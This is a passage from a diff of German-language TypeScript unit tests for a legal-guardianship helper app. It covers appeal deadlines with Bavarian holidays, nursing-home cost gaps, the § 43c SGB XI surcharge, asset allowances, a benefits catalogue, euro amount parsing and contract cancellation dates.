|
||||
// § 64 Abs. 3 SGG: Ende erst mit Ablauf des nächsten Werktags,
|
||||
// also am Montag, dem 02.03.2026.
|
||||
const ergebnis = rechtsbehelfsfristBerechnen({
|
||||
zugegangenAm: tag(2026, 1, 31),
|
||||
fristMonate: 1,
|
||||
heute: tag(2026, 2, 1),
|
||||
})
|
||||
|
||||
expect(alsIsoTag(ergebnis.rechnerischesEnde!)).toBe('2026-02-28')
|
||||
expect(alsIsoTag(ergebnis.widerspruchMoeglichBis!)).toBe('2026-03-02')
|
||||
expect(ergebnis.verschoben).toBe(true)
|
||||
expect(ergebnis.schritte.some((s) => s.rechtsgrundlage.includes('§ 64 Abs. 3 SGG'))).toBe(true)
|
||||
})
|
||||
|
||||
it('schiebt ein Fristende an einem bayerischen Feiertag auf den nächsten Werktag', () => {
|
||||
// Zugang 01.10.2027 -> rechnerisch 01.11.2027. Das ist ein Montag und
|
||||
// zugleich Allerheiligen, in ganz Bayern gesetzlicher Feiertag.
|
||||
const ergebnis = rechtsbehelfsfristBerechnen({
|
||||
zugegangenAm: tag(2027, 10, 1),
|
||||
fristMonate: 1,
|
||||
heute: tag(2027, 10, 2),
|
||||
})
|
||||
|
||||
expect(alsIsoTag(ergebnis.rechnerischesEnde!)).toBe('2027-11-01')
|
||||
expect(alsIsoTag(ergebnis.widerspruchMoeglichBis!)).toBe('2027-11-02')
|
||||
expect(ergebnis.verschoben).toBe(true)
|
||||
expect(ergebnis.schritte.some((s) => s.text.includes('Allerheiligen'))).toBe(true)
|
||||
})
|
||||
|
||||
it('läuft ein Jahr, wenn die Rechtsbehelfsbelehrung fehlt oder fehlerhaft ist', () => {
|
||||
// § 66 Abs. 2 SGG. Zugang 15.03.2026 -> 15.03.2027 (ein Montag).
|
||||
const ergebnis = rechtsbehelfsfristBerechnen({
|
||||
zugegangenAm: tag(2026, 3, 15),
|
||||
fristMonate: 12,
|
||||
heute: tag(2026, 3, 20),
|
||||
})
|
||||
|
||||
expect(ergebnis.belehrung).toBe('FEHLT_ODER_FEHLERHAFT')
|
||||
expect(alsIsoTag(ergebnis.widerspruchMoeglichBis!)).toBe('2027-03-15')
|
||||
expect(ergebnis.schritte.some((s) => s.rechtsgrundlage === '§ 66 Abs. 2 SGG')).toBe(true)
|
||||
})
|
||||
|
||||
it('kappt die Jahresfrist bei einem Zugang am 29. Februar auf den 28. Februar', () => {
|
||||
const ergebnis = rechtsbehelfsfristBerechnen({
|
||||
zugegangenAm: tag(2028, 2, 29),
|
||||
fristMonate: 12,
|
||||
heute: tag(2028, 3, 1),
|
||||
})
|
||||
|
||||
expect(alsIsoTag(ergebnis.rechnerischesEnde!)).toBe('2029-02-28')
|
||||
})
|
||||
|
||||
it('rechnet nicht ohne Zugangsdatum und sagt, warum', () => {
|
||||
const ergebnis = rechtsbehelfsfristBerechnen({
|
||||
zugegangenAm: null,
|
||||
bescheidVom: tag(2026, 5, 4),
|
||||
})
|
||||
|
||||
expect(ergebnis.berechenbar).toBe(false)
|
||||
expect(ergebnis.widerspruchMoeglichBis).toBeNull()
|
||||
expect(ergebnis.hinweise.join(' ')).toContain('Bekanntgabe')
|
||||
})
|
||||
|
||||
it('erkennt eine abgelaufene Frist und zählt die Tage darüber hinaus', () => {
|
||||
const ergebnis = rechtsbehelfsfristBerechnen({
|
||||
zugegangenAm: tag(2026, 4, 15),
|
||||
fristMonate: 1,
|
||||
heute: tag(2026, 5, 20),
|
||||
})
|
||||
|
||||
expect(ergebnis.abgelaufen).toBe(true)
|
||||
expect(ergebnis.tageVerbleibend).toBe(-5)
|
||||
})
|
||||
|
||||
it('schlägt als Zugangsdatum den dritten Tag nach der Post vor', () => {
|
||||
// § 37 Abs. 2 SGB X. Bescheid vom Mittwoch, 06.05.2026 -> 09.05.2026
|
||||
// ist ein Samstag, also weiter auf Montag, den 11.05.2026.
|
||||
const vorschlag = zugangsvermutung(tag(2026, 5, 6))
|
||||
expect(alsIsoTag(vorschlag.datum)).toBe('2026-05-11')
|
||||
expect(vorschlag.hinweis).toContain('§ 37 Abs. 2 SGB X')
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Bayerische Feiertage
|
||||
// =============================================================================
|
||||
|
||||
describe('Bayerische Feiertage in der Fristberechnung', () => {
|
||||
it('behandelt Allerheiligen als landesweiten Feiertag', () => {
|
||||
const feiertag = bayerischerFeiertag(tag(2027, 11, 1))
|
||||
expect(feiertag?.name).toBe('Allerheiligen')
|
||||
expect(feiertag?.landesweit).toBe(true)
|
||||
expect(istWerktag(tag(2027, 11, 1))).toBe(false)
|
||||
})
|
||||
|
||||
it('verschiebt an Mariä Himmelfahrt nicht, warnt aber ausdrücklich', () => {
|
||||
// Sonderfall: nur in überwiegend katholischen Gemeinden gesetzlicher
|
||||
// Feiertag (Art. 1 Abs. 1 Satz 2 BayFTG). Bayreuth, Sitz des Bezirks
|
||||
// Oberfranken, gehört nicht dazu. Der 15.08.2028 ist ein Dienstag.
|
||||
const feiertag = bayerischerFeiertag(tag(2028, 8, 15))
|
||||
expect(feiertag?.name).toBe('Mariä Himmelfahrt')
|
||||
expect(feiertag?.landesweit).toBe(false)
|
||||
expect(istWerktag(tag(2028, 8, 15))).toBe(true)
|
||||
|
||||
const ergebnis = rechtsbehelfsfristBerechnen({
|
||||
zugegangenAm: tag(2028, 7, 15),
|
||||
fristMonate: 1,
|
||||
heute: tag(2028, 7, 20),
|
||||
})
|
||||
expect(alsIsoTag(ergebnis.widerspruchMoeglichBis!)).toBe('2028-08-15')
|
||||
expect(ergebnis.verschoben).toBe(false)
|
||||
expect(ergebnis.hinweise.join(' ')).toContain('Mariä Himmelfahrt')
|
||||
})
|
||||
|
||||
it('behandelt den Buß- und Bettag in Bayern als normalen Arbeitstag', () => {
|
||||
// Sonderfall: seit 1995 nur noch in Sachsen gesetzlicher Feiertag.
|
||||
// 2026 fällt er auf Mittwoch, den 18.11.
|
||||
expect(alsIsoTag(bussUndBettag(2026))).toBe('2026-11-18')
|
||||
|
||||
const feiertag = bayerischerFeiertag(tag(2026, 11, 18))
|
||||
expect(feiertag?.name).toBe('Buß- und Bettag')
|
||||
expect(feiertag?.landesweit).toBe(false)
|
||||
expect(istWerktag(tag(2026, 11, 18))).toBe(true)
|
||||
|
||||
const geschoben = aufWerktagSchieben(tag(2026, 11, 18))
|
||||
expect(alsIsoTag(geschoben.datum)).toBe('2026-11-18')
|
||||
expect(geschoben.verschoben).toBe(false)
|
||||
})
|
||||
|
||||
it('überspringt eine Feiertagskette am Jahreswechsel', () => {
|
||||
// 01.01.2027 ist Neujahr und ein Freitag; danach Samstag und Sonntag.
|
||||
// Nächster Werktag ist Montag, der 04.01.2027.
|
||||
const geschoben = aufWerktagSchieben(tag(2027, 1, 1))
|
||||
expect(alsIsoTag(geschoben.datum)).toBe('2027-01-04')
|
||||
expect(geschoben.verschoben).toBe(true)
|
||||
})
|
||||
|
||||
it('erkennt die beweglichen Feiertage über die Osterformel', () => {
|
||||
// Ostersonntag 2026 ist der 05.04.
|
||||
expect(bayerischerFeiertag(tag(2026, 4, 3))?.name).toBe('Karfreitag')
|
||||
expect(bayerischerFeiertag(tag(2026, 4, 6))?.name).toBe('Ostermontag')
|
||||
expect(bayerischerFeiertag(tag(2026, 5, 14))?.name).toBe('Christi Himmelfahrt')
|
||||
expect(bayerischerFeiertag(tag(2026, 6, 4))?.name).toBe('Fronleichnam')
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Nachforderungs-Tracker
|
||||
// =============================================================================
|
||||
|
||||
describe('Fortschritt des Nachforderungs-Trackers', () => {
|
||||
const heute = tag(2026, 6, 15)
|
||||
|
||||
const zeilen = [
|
||||
{ id: '1', bezeichnung: 'Rentenbescheide', status: 'ANERKANNT' as const, fristBis: null },
|
||||
{ id: '2', bezeichnung: 'Kontoauszüge', status: 'UEBERSANDT' as const, fristBis: null },
|
||||
{
|
||||
id: '3',
|
||||
bezeichnung: 'Mietvertrag der früheren Wohnung',
|
||||
status: 'NICHT_VORHANDEN' as const,
|
||||
fristBis: null,
|
||||
},
|
||||
{
|
||||
id: '4',
|
||||
bezeichnung: 'Rückkaufswerte',
|
||||
status: 'IN_BESCHAFFUNG' as const,
|
||||
fristBis: tag(2026, 6, 20),
|
||||
},
|
||||
{ id: '5', bezeichnung: 'Grundbuchauszug', status: 'OFFEN' as const, fristBis: tag(2026, 6, 1) },
|
||||
]
|
||||
|
||||
it('zählt Übersandtes, Anerkanntes und begründete Fehlanzeigen als geliefert', () => {
|
||||
// Eine begründete Fehlanzeige ist eine Antwort an den Träger und
|
||||
// damit erledigt - sonst bliebe der Balken für immer unvollständig.
|
||||
const fortschritt = trackerFortschritt(zeilen, heute)
|
||||
|
||||
expect(fortschritt.gesamt).toBe(5)
|
||||
expect(fortschritt.geliefert).toBe(3)
|
||||
expect(fortschritt.offen).toBe(2)
|
||||
expect(fortschritt.prozent).toBe(60)
|
||||
expect(fortschritt.vollstaendig).toBe(false)
|
||||
expect(fortschritt.beschriftung).toBe('3 von 5 Unterlagen geliefert')
|
||||
})
|
||||
|
||||
it('meldet überfällige und diese Woche fällige Unterlagen getrennt', () => {
|
||||
const fortschritt = trackerFortschritt(zeilen, heute)
|
||||
|
||||
expect(fortschritt.ueberfaellig.map((z) => z.id)).toEqual(['5'])
|
||||
expect(fortschritt.dieseWoche.map((z) => z.id)).toEqual(['4'])
|
||||
expect(alsIsoTag(fortschritt.naechsteFrist!)).toBe('2026-06-01')
|
||||
})
|
||||
|
||||
it('ist erst vollständig, wenn keine Zeile mehr offen ist', () => {
|
||||
const alleGeliefert = zeilen.map((z) => ({ ...z, status: 'ANERKANNT' as const }))
|
||||
const fortschritt = trackerFortschritt(alleGeliefert, heute)
|
||||
|
||||
expect(fortschritt.vollstaendig).toBe(true)
|
||||
expect(fortschritt.prozent).toBe(100)
|
||||
expect(fortschritt.ueberfaellig).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('kommt mit einem leeren Tracker zurecht, ohne durch null zu teilen', () => {
|
||||
const fortschritt = trackerFortschritt([], heute)
|
||||
expect(fortschritt.prozent).toBe(0)
|
||||
expect(fortschritt.vollstaendig).toBe(false)
|
||||
expect(fortschritt.beschriftung).toBe('Noch keine Unterlagen erfasst')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Checkliste der Standardunterlagen', () => {
|
||||
it('enthält die Unterlagen, die der Bezirk regelmäßig anfordert', () => {
|
||||
const schluessel = STANDARDUNTERLAGEN.map((p) => p.schluessel)
|
||||
expect(schluessel).toContain('rentenbescheide')
|
||||
expect(schluessel).toContain('kontoauszuege')
|
||||
expect(schluessel).toContain('notarielle-uebertragungen')
|
||||
expect(schluessel).toContain('unterhaltspflichtige')
|
||||
expect(new Set(schluessel).size).toBe(schluessel.length)
|
||||
})
|
||||
|
||||
it('erklärt zu jeder Position, warum der Träger sie will', () => {
|
||||
for (const position of STANDARDUNTERLAGEN) {
|
||||
expect(position.erlaeuterung.length).toBeGreaterThan(60)
|
||||
}
|
||||
})
|
||||
|
||||
it('bietet nur an, was noch nicht im Tracker steht', () => {
|
||||
const schonDa = [STANDARDUNTERLAGEN[0]!.bezeichnung.toUpperCase()]
|
||||
const offen = nochNichtUebernommen(schonDa)
|
||||
expect(offen).toHaveLength(STANDARDUNTERLAGEN.length - 1)
|
||||
expect(offen.map((p) => p.schluessel)).not.toContain(STANDARDUNTERLAGEN[0]!.schluessel)
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Leistungszuschlag § 43c SGB XI
|
||||
// =============================================================================
|
||||
|
||||
describe('Leistungszuschlag nach der Verweildauer', () => {
|
||||
it('folgt der Staffel 15 / 30 / 50 / 75 Prozent', () => {
|
||||
// "mehr als 12 Monate" heißt: ab dem 13. Monat, also sobald zwölf
|
||||
// Monate vollendet sind.
|
||||
expect(leistungszuschlagProzent(0)).toBe(15)
|
||||
expect(leistungszuschlagProzent(11)).toBe(15)
|
||||
expect(leistungszuschlagProzent(12)).toBe(30)
|
||||
expect(leistungszuschlagProzent(23)).toBe(30)
|
||||
expect(leistungszuschlagProzent(24)).toBe(50)
|
||||
expect(leistungszuschlagProzent(35)).toBe(50)
|
||||
expect(leistungszuschlagProzent(36)).toBe(75)
|
||||
expect(leistungszuschlagProzent(240)).toBe(75)
|
||||
})
|
||||
|
||||
it('rechnet den Zuschlag nur auf den pflegebedingten Eigenanteil', () => {
|
||||
// 1.200,00 EUR Eigenanteil, zweites Jahr im Heim: 30 Prozent.
|
||||
expect(leistungszuschlagCent(120_000n, 14)).toBe(36_000n)
|
||||
// Erstes Jahr: 15 Prozent.
|
||||
expect(leistungszuschlagCent(120_000n, 3)).toBe(18_000n)
|
||||
})
|
||||
|
||||
it('rundet kaufmännisch auf ganze Cent', () => {
|
||||
// 1.234,57 EUR mal 15 Prozent sind 185,1855 EUR -> 185,19 EUR.
|
||||
expect(leistungszuschlagCent(123_457n, 0)).toBe(18_519n)
|
||||
})
|
||||
|
||||
it('zählt vollendete Monate im Heim, nicht angebrochene', () => {
|
||||
expect(verweildauerMonate(tag(2026, 1, 20), tag(2026, 2, 19))).toBe(0)
|
||||
expect(verweildauerMonate(tag(2026, 1, 20), tag(2026, 2, 20))).toBe(1)
|
||||
expect(verweildauerMonate(tag(2026, 1, 20), tag(2027, 1, 19))).toBe(11)
|
||||
expect(verweildauerMonate(tag(2026, 1, 20), tag(2027, 1, 20))).toBe(12)
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Heimkosten
|
||||
// =============================================================================
|
||||
|
||||
describe('Heimkosten-Gegenüberstellung', () => {
|
||||
const grundfall = {
|
||||
jahr: 2026,
|
||||
monat: 3,
|
||||
pflegeEigenanteilCent: 120_000n,
|
||||
unterkunftVerpflegungCent: 90_000n,
|
||||
investitionskostenCent: 45_000n,
|
||||
ausbildungsumlageCent: 6_000n,
|
||||
zusatzleistungenCent: 0n,
|
||||
pflegekasseCent: 131_900n,
|
||||
leistungszuschlagCent: 36_000n,
|
||||
renteCent: 90_000n,
|
||||
sonstigeEinkuenfteCent: 0n,
|
||||
sozialhilfeCent: 0n,
|
||||
eigenmittelCent: 0n,
|
||||
barbetragCent: 15_201n,
|
||||
bekleidungspauschaleCent: 0n,
|
||||
abwesenheitstage: 0,
|
||||
}
|
||||
|
||||
it('zählt Barbetrag und Bekleidungspauschale zum Bedarf', () => {
|
||||
// Wer sie herauslässt, hält die Deckung für besser, als sie ist -
|
||||
// und plündert am Monatsende das Taschengeld.
|
||||
const ergebnis = heimkostenAuswerten(grundfall)
|
||||
|
||||
expect(ergebnis.heimkostenCent).toBe(261_000n)
|
||||
expect(ergebnis.verbleibendCent).toBe(15_201n)
|
||||
expect(ergebnis.gesamtbedarfCent).toBe(276_201n)
|
||||
})
|
||||
|
||||
it('weist die Deckungslücke aus', () => {
|
||||
const ergebnis = heimkostenAuswerten(grundfall)
|
||||
|
||||
expect(ergebnis.deckungCent).toBe(257_900n)
|
||||
expect(ergebnis.deckungslueckeCent).toBe(18_301n)
|
||||
expect(ergebnis.ueberdeckungCent).toBe(0n)
|
||||
expect(ergebnis.gedeckt).toBe(false)
|
||||
})
|
||||
|
||||
it('erkennt eine Überdeckung und weist keine negative Lücke aus', () => {
|
||||
const ergebnis = heimkostenAuswerten({ ...grundfall, renteCent: 200_000n })
|
||||
|
||||
expect(ergebnis.deckungslueckeCent).toBe(0n)
|
||||
expect(ergebnis.ueberdeckungCent).toBe(91_699n)
|
||||
expect(ergebnis.gedeckt).toBe(true)
|
||||
})
|
||||
|
||||
it('mindert erst ab dem vierten Abwesenheitstag', () => {
|
||||
// Die ersten drei Tage sind nach dem Rahmenvertrag voll zu zahlen.
|
||||
const kurz = heimkostenAuswerten({ ...grundfall, abwesenheitstage: 3 })
|
||||
expect(kurz.abwesenheit.minderungstage).toBe(0)
|
||||
expect(kurz.abwesenheit.geschaetzteMinderungCent).toBe(0n)
|
||||
expect(kurz.deckungslueckeNachAbwesenheitCent).toBe(18_301n)
|
||||
})
|
||||
|
||||
it('schätzt die Minderung bei längerer Abwesenheit und verkleinert die Lücke', () => {
|
||||
// 10 Tage im Krankenhaus, davon 7 mindernd. 25 Prozent von
|
||||
// Pflegeanteil plus Unterkunft und Verpflegung (2.100,00 EUR),
|
||||
// tageweise auf die 31 Tage des März umgelegt.
|
||||
const ergebnis = heimkostenAuswerten({ ...grundfall, abwesenheitstage: 10 })
|
||||
|
||||
expect(ergebnis.abwesenheit.minderungstage).toBe(7)
|
||||
expect(ergebnis.abwesenheit.geschaetzteMinderungCent).toBe(11_854n)
|
||||
expect(ergebnis.deckungslueckeNachAbwesenheitCent).toBe(6_447n)
|
||||
// Die erfasste Lücke bleibt davon unberührt - maßgeblich ist die
|
||||
// Heimrechnung, die Schätzung steht nur daneben.
|
||||
expect(ergebnis.deckungslueckeCent).toBe(18_301n)
|
||||
})
|
||||
|
||||
it('lässt die Investitionskosten bei Abwesenheit außen vor', () => {
|
||||
// Der Platz wird freigehalten, das Gebäude kostet weiter
|
||||
// (§ 87a Abs. 1 SGB XI).
|
||||
const mitInvest = abwesenheitSchaetzen({
|
||||
abwesenheitstage: 10,
|
||||
pflegeEigenanteilCent: 120_000n,
|
||||
unterkunftVerpflegungCent: 90_000n,
|
||||
tageImMonat: 31,
|
||||
})
|
||||
expect(mitInvest.geschaetzteMinderungCent).toBe(11_854n)
|
||||
expect(mitInvest.erklaerung).toContain('Investitionskosten laufen weiter')
|
||||
})
|
||||
|
||||
it('warnt, wenn die Platzfreihaltung überschritten wird', () => {
|
||||
const ergebnis = heimkostenAuswerten({ ...grundfall, abwesenheitstage: 30, monat: 1 })
|
||||
expect(ergebnis.abwesenheit.ueberPlatzfreihaltung).toBe(false)
|
||||
|
||||
const lang = abwesenheitSchaetzen({
|
||||
abwesenheitstage: 45,
|
||||
pflegeEigenanteilCent: 120_000n,
|
||||
unterkunftVerpflegungCent: 90_000n,
|
||||
tageImMonat: 31,
|
||||
})
|
||||
expect(lang.ueberPlatzfreihaltung).toBe(true)
|
||||
})
|
||||
|
||||
it('kennt die Länge der Monate, auch im Schaltjahr', () => {
|
||||
expect(tageImMonat(2026, 2)).toBe(28)
|
||||
expect(tageImMonat(2028, 2)).toBe(29)
|
||||
expect(tageImMonat(2026, 4)).toBe(30)
|
||||
expect(tageImMonat(2026, 12)).toBe(31)
|
||||
})
|
||||
|
||||
it('summiert den Jahresverlauf und findet den schlimmsten Monat', () => {
|
||||
const monate = [
|
||||
heimkostenAuswerten({ ...grundfall, monat: 1 }),
|
||||
heimkostenAuswerten({ ...grundfall, monat: 2, renteCent: 50_000n }),
|
||||
heimkostenAuswerten({ ...grundfall, monat: 3 }),
|
||||
]
|
||||
const verlauf = jahresverlaufBilden(2026, monate)
|
||||
|
||||
expect(verlauf.monate.map((m) => m.monat)).toEqual([1, 2, 3])
|
||||
expect(verlauf.summeDeckungslueckeCent).toBe(18_301n + 58_301n + 18_301n)
|
||||
expect(verlauf.groessteLuecke?.monat).toBe(2)
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Vermögensbewertung
|
||||
// =============================================================================
|
||||
|
||||
describe('Vermögensbewertung für das Sozialamt', () => {
|
||||
const posten = [
|
||||
{
|
||||
id: 'a',
|
||||
bezeichnung: 'Girokonto',
|
||||
herkunft: 'VERMOEGEN' as const,
|
||||
artBeschriftung: 'Konto',
|
||||
bewertung: 'VERWERTBAR' as const,
|
||||
wertCent: 450_000n,
|
||||
wertStichtag: null,
|
||||
begruendung: 'Frei verfügbares Guthaben, kein Schutztatbestand ersichtlich.',
|
||||
href: '#',
|
||||
},
|
||||
{
|
||||
id: 'b',
|
||||
bezeichnung: 'Hausgrundstück Bayreuth',
|
||||
herkunft: 'VERMOEGEN' as const,
|
||||
artBeschriftung: 'Immobilie',
|
||||
bewertung: 'STRITTIG' as const,
|
||||
wertCent: 18_000_000n,
|
||||
wertStichtag: null,
|
||||
begruendung: 'Verwertung nur als Darlehen nach § 91 SGB XII zumutbar.',
|
||||
href: '#',
|
||||
},
|
||||
{
|
||||
id: 'c',
|
||||
bezeichnung: 'Bestattungsvorsorge',
|
||||
herkunft: 'VERTRAG' as const,
|
||||
artBeschriftung: 'Bestattungsvorsorge',
|
||||
bewertung: 'GESCHUETZT' as const,
|
||||
wertCent: 620_000n,
|
||||
wertStichtag: null,
|
||||
begruendung: 'Zweckgebunden, an das Bestattungsunternehmen abgetreten.',
|
||||
href: '#',
|
||||
},
|
||||
{
|
||||
id: 'd',
|
||||
bezeichnung: 'Lebensversicherung',
|
||||
herkunft: 'VERTRAG' as const,
|
||||
artBeschriftung: 'Lebensversicherung',
|
||||
bewertung: 'UNGEPRUEFT' as const,
|
||||
wertCent: null,
|
||||
wertStichtag: null,
|
||||
begruendung: null,
|
||||
href: '#',
|
||||
},
|
||||
]
|
||||
|
||||
it('summiert je Bewertung und merkt sich Posten ohne Wert', () => {
|
||||
const uebersicht = uebersichtBilden(posten)
|
||||
|
||||
expect(uebersicht.jeBewertung.VERWERTBAR.summeCent).toBe(450_000n)
|
||||
expect(uebersicht.jeBewertung.GESCHUETZT.summeCent).toBe(620_000n)
|
||||
expect(uebersicht.jeBewertung.STRITTIG.summeCent).toBe(18_000_000n)
|
||||
expect(uebersicht.jeBewertung.UNGEPRUEFT.ohneWert).toBe(1)
|
||||
expect(uebersicht.gesamtCent).toBe(19_070_000n)
|
||||
expect(uebersicht.ungeprueft.map((p) => p.id)).toEqual(['d'])
|
||||
expect(uebersicht.ohneBegruendung).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('stellt verwertbares Vermögen dem Freibetrag gegenüber', () => {
|
||||
// 4.500 EUR liegen unter dem Freibetrag von 10.000 EUR.
|
||||
const knapp = freibetragVergleichen(450_000n)
|
||||
expect(knapp.freibetragCent).toBe(1_000_000n)
|
||||
expect(knapp.ausgeschoepft).toBe(false)
|
||||
expect(knapp.ueberFreibetragCent).toBe(0n)
|
||||
|
||||
const darueber = freibetragVergleichen(1_250_000n)
|
||||
expect(darueber.ueberFreibetragCent).toBe(250_000n)
|
||||
expect(darueber.ausgeschoepft).toBe(true)
|
||||
})
|
||||
|
||||
it('erhöht den Freibetrag für überwiegend unterhaltene Personen', () => {
|
||||
expect(freibetragVergleichen(0n, 2).freibetragCent).toBe(1_100_000n)
|
||||
})
|
||||
|
||||
it('meldet eine Bewertung ohne Begründung als Lücke', () => {
|
||||
const ohne = uebersichtBilden([{ ...posten[0]!, begruendung: ' ' }])
|
||||
expect(ohne.ohneBegruendung).toHaveLength(1)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Argumentationshilfen zum Schonvermögen', () => {
|
||||
it('nennt zu jeder Hilfe eine Rechtsgrundlage und einen Vorbehalt', () => {
|
||||
// Die Anwendung entscheidet nichts. Jeder Textbaustein sagt das auch.
|
||||
for (const hilfe of ARGUMENTATIONSHILFEN) {
|
||||
expect(hilfe.rechtsgrundlage).toMatch(/§/)
|
||||
expect(hilfe.textbaustein).toContain(VORBEHALT)
|
||||
}
|
||||
})
|
||||
|
||||
it('deckt die vier Kernfälle ab', () => {
|
||||
const schluessel = ARGUMENTATIONSHILFEN.map((h) => h.schluessel)
|
||||
expect(schluessel).toContain('vermoegensfreibetrag')
|
||||
expect(schluessel).toContain('hausgrundstueck-selbst-bewohnt')
|
||||
expect(schluessel).toContain('bestattungsvorsorge')
|
||||
expect(schluessel).toContain('haertefall')
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Leistungskatalog
|
||||
// =============================================================================
|
||||
|
||||
describe('Katalog weiterer Leistungen', () => {
|
||||
it('führt stabile, eindeutige Schlüssel', () => {
|
||||
const schluessel = LEISTUNGSKATALOG.map((l) => l.katalogSchluessel)
|
||||
expect(new Set(schluessel).size).toBe(schluessel.length)
|
||||
expect(schluessel).toContain('landespflegegeld-bayern')
|
||||
expect(schluessel).toContain('zuzahlungsbefreiung')
|
||||
expect(schluessel).toContain('rundfunkbeitrag')
|
||||
expect(schluessel).toContain('schwerbehindertenausweis')
|
||||
expect(schluessel).toContain('grundsicherung')
|
||||
expect(schluessel).toContain('hilfe-zur-pflege')
|
||||
expect(schluessel).toContain('wohngeld')
|
||||
expect(schluessel).toContain('telefon-sozialtarif')
|
||||
})
|
||||
|
||||
it('markiert die jährlich zu wiederholenden Anträge', () => {
|
||||
const landespflegegeld = LEISTUNGSKATALOG.find(
|
||||
(l) => l.katalogSchluessel === 'landespflegegeld-bayern',
|
||||
)!
|
||||
expect(landespflegegeld.jaehrlichNeuBeantragen).toBe(true)
|
||||
expect(landespflegegeld.antragsschluss).toContain('31.12.')
|
||||
|
||||
const zuzahlung = LEISTUNGSKATALOG.find((l) => l.katalogSchluessel === 'zuzahlungsbefreiung')!
|
||||
expect(zuzahlung.jaehrlichNeuBeantragen).toBe(true)
|
||||
})
|
||||
|
||||
it('nennt zu jeder Leistung Träger, Grundlage und benötigte Unterlagen', () => {
|
||||
for (const leistung of LEISTUNGSKATALOG) {
|
||||
expect(leistung.traeger.length).toBeGreaterThan(3)
|
||||
expect(leistung.rechtsgrundlage.length).toBeGreaterThan(3)
|
||||
expect(leistung.benoetigt.length).toBeGreaterThan(0)
|
||||
}
|
||||
})
|
||||
|
||||
it('bietet nur an, was noch nicht angelegt ist', () => {
|
||||
const offen = nochNichtAngelegt(['landespflegegeld-bayern', null])
|
||||
expect(offen.map((l) => l.katalogSchluessel)).not.toContain('landespflegegeld-bayern')
|
||||
expect(offen).toHaveLength(LEISTUNGSKATALOG.length - 1)
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Beträge
|
||||
// =============================================================================
|
||||
|
||||
describe('Beträge aus Formularfeldern', () => {
|
||||
it('liest die deutsche Schreibweise verlustfrei in Cent', () => {
|
||||
expect(betragZuCent('1.234,56')).toBe(123_456n)
|
||||
expect(betragZuCent('1234,56')).toBe(123_456n)
|
||||
expect(betragZuCent('1234')).toBe(123_400n)
|
||||
expect(betragZuCent('0,01')).toBe(1n)
|
||||
expect(betragZuCent('1.234.567,89')).toBe(123_456_789n)
|
||||
expect(betragZuCent('12,5')).toBe(1_250n)
|
||||
})
|
||||
|
||||
it('kommt mit Euro-Zeichen, Leerzeichen und Vorzeichen zurecht', () => {
|
||||
expect(betragZuCent(' 1.234,56 € ')).toBe(123_456n)
|
||||
expect(betragZuCent('-45,00')).toBe(-4_500n)
|
||||
})
|
||||
|
||||
it('behandelt Leeres als „keine Angabe“, nicht als null Euro', () => {
|
||||
expect(betragZuCent('')).toBeNull()
|
||||
expect(betragZuCent(null)).toBeNull()
|
||||
expect(betragZuCent(' ')).toBeNull()
|
||||
})
|
||||
|
||||
it('weist Unsinn zurück, statt still zu raten', () => {
|
||||
expect(betragZuCent('abc')).toBeNull()
|
||||
expect(betragZuCent('12,345')).toBeNull()
|
||||
})
|
||||
|
||||
it('rechnet für die Vorbelegung zurück', () => {
|
||||
expect(centZuEingabe(123_456n)).toBe('1234,56')
|
||||
expect(centZuEingabe(5n)).toBe('0,05')
|
||||
expect(centZuEingabe(null)).toBe('')
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,289 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { tag } from '@/lib/fristen/datum'
|
||||
import {
|
||||
absendetagZu,
|
||||
kuendigungsampel,
|
||||
kuendigungsplan,
|
||||
KUENDIGUNG_VORWARNUNG_TAGE,
|
||||
POSTLAUF_PUFFER_TAGE,
|
||||
} from '@/lib/vertraege/kuendigung'
|
||||
import { kuendigungsassistent, genehmigungsfrage } from '@/lib/vertraege/kuendigungsassistent'
|
||||
import {
|
||||
anfrageStatus,
|
||||
rueckkaufswertAnschreiben,
|
||||
wiedervorlageAm,
|
||||
} from '@/lib/vertraege/rueckkaufswert'
|
||||
import { jahresbeitragCent, kannRueckkaufswertHaben } from '@/lib/vertraege/konstanten'
|
||||
|
||||
const kopf = {
|
||||
betreuerName: 'Florian Wilde',
|
||||
betreuerStrasse: 'Musterweg 1',
|
||||
betreuerPlz: '95444',
|
||||
betreuerOrt: 'Bayreuth',
|
||||
betreuteName: 'Erika Wilde',
|
||||
betreuteGeburtsdatum: tag(1948, 5, 20),
|
||||
betreuungsgericht: 'Amtsgericht Bayreuth',
|
||||
aktenzeichenGericht: 'XVII 123/25',
|
||||
bestellungAm: tag(2025, 11, 3),
|
||||
}
|
||||
|
||||
describe('Kündigungstermin', () => {
|
||||
it('rechnet den nächstmöglichen Termin über die Jahresgrenze', () => {
|
||||
// Jahresvertrag seit dem 15.03.2020, drei Monate Kündigungsfrist.
|
||||
// Für den Termin 15.03.2026 müsste der Zugang am 15.12.2025 vorliegen -
|
||||
// der Absendetag ist Anfang Februar 2026 längst vorbei.
|
||||
const plan = kuendigungsplan({
|
||||
beginnAm: tag(2020, 3, 15),
|
||||
laufzeitJahre: 1,
|
||||
kuendigungsfristMonate: 3,
|
||||
heute: tag(2026, 2, 1),
|
||||
})
|
||||
|
||||
expect(plan.berechenbar).toBe(true)
|
||||
expect(plan.naechsterTermin).toEqual(tag(2027, 3, 15))
|
||||
expect(plan.zugangSpaetestensAm).toEqual(tag(2026, 12, 15))
|
||||
expect(plan.spaetesterAbsendetag).toEqual(tag(2026, 12, 12))
|
||||
expect(plan.verpasst).toBe(false)
|
||||
})
|
||||
|
||||
it('rechnet über die Monatsgrenze kalendarisch, nicht in Tagen', () => {
|
||||
// 31.05. minus drei Monate ist der 28.02. (2026 ist kein Schaltjahr),
|
||||
// nicht der 02.03. oder 03.03.
|
||||
const plan = kuendigungsplan({
|
||||
beginnAm: tag(2019, 5, 31),
|
||||
laufzeitJahre: 1,
|
||||
